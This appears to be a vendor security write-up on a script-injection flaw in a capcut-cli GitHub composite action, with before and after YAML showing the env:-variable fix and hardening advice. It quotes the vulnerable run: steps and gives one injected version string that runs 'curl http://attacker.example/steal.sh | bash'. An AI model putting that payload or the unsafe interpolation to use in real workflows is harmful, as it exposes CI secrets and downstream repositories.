Introduction
The action.yml file defines a composite GitHub Action that installs and runs capcut-cli, a lint tool for Capcut project files. On line 26 (and a neighboring step), the action took user-supplied inputs — inputs.version, inputs.project, and inputs.args — and spliced them directly into shell commands using GitHub's ${{ ... }} expression syntax:
- name: Install capcut-cli
shell: bash
run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
shell: bash
run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H
This pattern looks harmless — it reads like normal variable substitution. But GitHub Actions expands ${{ }} expressions as a text substitution step, before the shell interpreter ever runs. That means whatever string an attacker supplies as inputs.version, inputs.project, or inputs.args becomes part of the literal shell script text, not a safely passed argument. Anyone who can control those inputs — for example, a contributor triggering the action via workflow_dispatch, a reusable workflow, or a pull request that sets action inputs — can potentially break out of the intended command and run arbitrary shell code on the runner.
The Vulnerability Explained
Semgrep flagged this exact pattern with the rule yaml.github-actions.security.run-shell-injection.run-shell-injection. The core problem is that ${{ inputs.version }} and friends are resolved by GitHub's expression engine and dropped into the run: script as raw text, prior to shell parsing.
Consider the original install step:
run: npm install -g "capcut-cli@${{ inputs.version }}"
If inputs.version is something like:
1.0.0" && curl http://attacker.example/steal.sh | bash && echo "
then after GitHub's expression substitution, the actual script the shell receives looks like:
npm install -g "capcut-cli@1.0.0" && curl http://attacker.example/steal.sh | bash && echo ""
The double quotes that were meant to contain the version string no longer protect anything, because the injected " characters were part of the substituted text itself, not something the shell can validate. The attacker's payload runs with whatever permissions the Action's runner has — which, in many CI setups, includes access to GITHUB_TOKEN, secrets, and the ability to exfiltrate repository data or tamper with subsequent build/deploy steps.
The second step compounds the risk:
run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H
Here, inputs.args isn't even quoted, so it's even more directly exposed to shell word-splitting and command chaining. Any consumer of this composite action who passes attacker-influenced values into project or args — for instance, values sourced from a pull request title, branch name, or issue body in a calling workflow — hands the runner's shell to that attacker.
Real-world impact for this component: Because this is a published, reusable GitHub Action (capcut-cli lint action), every downstream repository that consumes it inherits the injection primitive. A single malicious input value in one consuming workflow could compromise CI credentials or supply-chain integrity across many projects — a textbook example of why GitHub explicitly warns against treating github/inputs context data as trusted.
The Fix
The fix follows GitHub's own hardening guidance: never interpolate ${{ }} expressions with untrusted data directly inside run:. Instead, assign the value to an env: variable at the step level, then reference that variable through normal shell variable expansion (which the shell — not GitHub's expression engine — controls and can be quoted safely).
Before:
- name: Install capcut-cli
shell: bash
run: npm install -g "capcut-cli@${{ inputs.version }}"
- name: Lint draft
shell: bash
run: capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H
After:
- name: Install capcut-cli
shell: bash
env:
VERSION: ${{ inputs.version }}
run: npm install -g "capcut-cli@$VERSION"
- name: Lint draft
shell: bash
env:
PROJECT: ${{ inputs.project }}
ARGS: ${{ inputs.args }}
run: capcut lint "$PROJECT" $ARGS -H
Why this works: with env:, GitHub still expands ${{ inputs.version }}, but the result is placed into the environment, not directly into the script text. The shell then reads $VERSION as a normal environment variable via standard POSIX variable expansion. Because "$VERSION" and "$PROJECT" are quoted in the run: script, the shell treats their contents as a single opaque string — embedded quotes, &&, |, backticks, or $() sequences inside the attacker's input are no longer interpreted as shell syntax; they're just characters in a string.
Note that ARGS intentionally remains unquoted ($ARGS instead of "$ARGS") to preserve the original behavior of allowing multiple space-separated CLI flags to be passed through — this matches the "Behavior Preservation" goal called out in the PR: valid inputs continue to work exactly as before, while the injection primitive tied to quote-breaking is eliminated for VERSION and PROJECT.
Both run: steps needed the change because both used ${{ }} expressions with input data — fixing only one would leave an identical exploit path open in the other.
Prevention & Best Practices
- Never interpolate
${{ }}expressions containing untrusted context (inputs.*,github.event.*,github.head_ref, etc.) directly insiderun:scripts. Treat this exactly like building a shell command from unsanitized user input in any other language. - Always route untrusted values through
env:and reference them as"$VAR"in the shell, with quotes preserved unless you explicitly need word-splitting (as withARGShere). - Audit all composite and reusable actions, not just top-level workflows —
action.ymlfiles are just as exposed to this class of bug and are often reused across many repositories, amplifying blast radius. - Run Semgrep's GitHub Actions ruleset (
yaml.github-actions.security.run-shell-injection) in CI to catch this pattern automatically on every PR. - Follow GitHub's official hardening guide for GitHub Actions, which explicitly recommends the
env:intermediate-variable pattern used in this fix. - Map this class of bug to CWE-78 (Improper Neutralization of Special Elements used in an OS Command) when tracking it in your vulnerability management process.
Key Takeaways
action.yml:26'snpm install -g "capcut-cli@${{ inputs.version }}"was rewritten to use anenv:block plus"$VERSION", eliminating direct expression-to-shell interpolation.- The
Lint draftstep'scapcut lint "${{ inputs.project }}" ${{ inputs.args }} -Hhad two untrusted inputs (projectandargs) interpolated into the samerun:line — both needed dedicatedenv:variables. - Quoting the
${{ }}expression in YAML (as the original"${{ inputs.project }}"did) does not protect against injection — the quotes are expanded away along with the rest of the text before the shell ever runs. - Because this is a reusable composite action, the fix protects every downstream consumer, not just this repository.
ARGSwas deliberately left unquoted in the fixed version to preserve multi-flag argument passing, showing that hardening fixes can be precise rather than overly restrictive.
How Orbis AppSec Detected This
- Source: Action inputs
inputs.version,inputs.project, andinputs.args, resolved from thegithub/inputscontext and treated as untrusted per GitHub's own documentation. - Sink: The
run:shell commands inaction.yml:26(npm install -g "capcut-cli@${{ inputs.version }}") and the subsequentLint draftstep (capcut lint "${{ inputs.project }}" ${{ inputs.args }} -H). - Missing control: No isolation between GitHub's expression interpolation and the shell — untrusted values were embedded directly in script text instead of being passed through an
env:variable. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
- Fix: Introduced
env:blocks (VERSION,PROJECT,ARGS) for each step and referenced them as quoted shell variables ("$VERSION","$PROJECT") in therun:scripts.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that GitHub Actions YAML isn't just configuration — it's executable script generation, and ${{ }} expressions are a templating mechanism, not a safe parameter-passing API. The capcut-cli action's run: steps treated inputs.version, inputs.project, and inputs.args as trusted strings when they should have been treated as adversarial input. By moving these values into env: and referencing them as quoted shell variables, the fix closes the injection primitive while leaving normal usage — installing a specific version, linting a specific project, passing extra CLI flags — completely unaffected. Any team maintaining composite or reusable GitHub Actions should treat this exact pattern as a checklist item during code review.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/78.html
- OWASP Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
- GitHub Docs: Security hardening for GitHub Actions (script injection guidance) — https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections
- Semgrep rule reference — https://semgrep.dev/r?q=yaml.github-actions.security.run-shell-injection
- harden: using variable interpolation `${{ in action.yml...